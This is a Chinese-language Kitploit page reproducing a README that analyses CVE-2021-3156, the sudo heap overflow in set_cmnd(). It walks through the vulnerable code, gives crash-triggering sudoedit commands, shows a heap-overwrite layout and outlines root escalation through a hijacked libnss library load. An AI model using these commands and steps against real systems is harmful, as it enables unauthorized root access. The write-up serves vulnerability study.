Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/musergi/cve-2021-3156
权限提升漏洞分析漏洞利用论文与研究学习与教育二进制利用
GitHubmusergi/cve-2021-3156

CVE-2021-3156

教育性漏洞利用实现与分析 CVE-2021-3156,该漏洞是 sudo 的 set_cmnd() 函数中的堆缓冲区溢出,通过精心构造的命令行参数实现权限提升至 root。

查看仓库
244年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3156

在本文件中,我们包含了理解本仓库代码及其工作原理所需的所有知识。所有解释均基于 QUALYS 发布的报告。其中还解释了更多利用形式。

要求

受影响的 sudo 版本为 1.8.2 到 1.8.31p2 的旧版本以及 1.9.0 到 1.9.5p1 的所有稳定版本,且均采用默认配置。

本仓库已在 Ubuntu 20.04(sudo 1.8.31)上测试。在此环境中,我们以 root 权限打开一个终端。

分析

如果 Sudo 以 shell 模式执行命令:

  • 通过 -s 选项,该选项设置 sudo 的 MODE_SHELL 标志。
  • 通过 -i 选项,该选项设置 sudo 的 MODE_SHELL 和 MODE_LOGIN_SHELL 标志。

然后,在 sudo 的 main() 函数开始时,parse_args() 通过连接所有命令行参数并用反斜杠转义所有元字符来重写 argv。

    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

随后,在 sudoers_policy_main() 中,set_cmnd() 将命令行参数连接到一个基于堆的缓冲区 user_args 中,并取消元字符的转义,"用于 sudoers 匹配和日志记录":

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

如果命令行参数以单个反斜杠字符结尾,则:

  • from[0] 是反斜杠字符,from[1] 是空终止符
  • from 递增并指向空终止符
  • 空终止符被复制到 user_args 缓冲区,from 再次递增并指向越界
  • while 循环读取越界字符并将其复制到 user_args 缓冲区。

换句话说,set_cmnd() 存在基于堆的缓冲区溢出漏洞,因为复制到 user_args 缓冲区的越界字符未计入其大小。

然而,理论上,没有命令行参数能以单个反斜杠字符结尾:如果设置了 MODE_SHELL 或 MODE_LOGIN_SHELL(到达易受攻击代码的必要条件),则 MODE_SHELL 被设置,并且 parse_args() 已经转义了所有元字符,包括反斜杠(即,它用第二个反斜杠转义了每个反斜杠)。

然而,实际上,set_cmnd() 中的易受攻击代码和 parse_args() 中的转义代码被略有不同的条件包围:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

与:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

那么,我们的问题是:我们能否设置 MODE_SHELL 以及 MODE_EDIT 或 MODE_CHECK(以到达易受攻击代码),但不设置默认的 MODE_RUN(以避免转义代码)?

答案似乎是否定的:如果我们设置了 MODE_EDIT(-e 选项)或 MODE_CHECK(-l 选项),那么 parse_args() 会从 valid_flags 中移除 MODE_SHELL,并且如果我们指定了无效标志(如 MODE_SHELL),则会退出并报错):

                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

但我们发现了一个漏洞:如果以 sudoedit 而不是 sudo 执行 Sudo,那么 parse_args() 会自动设置 MODE_EDIT,但不会重置 valid_flags,并且 valid_flags 默认包含 MODE_SHELL:

#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

因此,如果执行 "sudoedit -s",则同时设置了 MODE_EDIT 和 MODE_SHELL(但不设置 MODE_RUN),从而避免转义代码,到达易受攻击代码,并通过一个以单个反斜杠字符结尾的命令行参数溢出基于堆的缓冲区 user_args:

sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

从攻击者的角度来看,这种缓冲区溢出是理想的:

  • 我们控制被溢出的 user_args 缓冲区的大小(即我们连接后的命令行参数的大小);
  • 我们独立控制溢出本身的大小和内容(我们的最后一个命令行参数正好紧跟着第一个环境变量,而这些环境变量未计入大小计算);
  • 我们甚至可以向被溢出的缓冲区写入空字节(每个以单个反斜杠结尾的命令行参数或环境变量都会向 user_args 写入一个空字节)。

例如,在 amd64 Linux 上,以下命令分配一个 24 字节的 user_args 缓冲区(一个 32 字节的堆块),并用 "A=a\0B=b\0" (0x00623d4200613d41) 覆盖下一个块的 size 字段,用 "C=c\0D=d\0" (0x00643d4400633d43) 覆盖其 fd 字段,用 "E=e\0F=f\0" (0x00663d4600653d45) 覆盖其 bk 字段:

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

利用

Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

崩溃的函数是 glibc 中的 nss_load_library()(第 344 行),因为指针 library 已被覆盖。

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

利用此崩溃的步骤如下:

  • 将 ni->library 覆盖为 NULL。这将使代码进入 if 子句,并开始解析和加载库。
  • 将 ni->name 覆盖为 "X/X"。该指针原本保存 "systemd"。
  • 因此,__strcpy 行将解析 "libnss_X/X.so.2" 而不是 "libnss_systemd.so.2"。
  • 因此,我们以 root 身份加载由我们控制的共享库 "libnss_X/X.so.2"。在其中,我们可以以 root 身份执行任何操作。
下载工具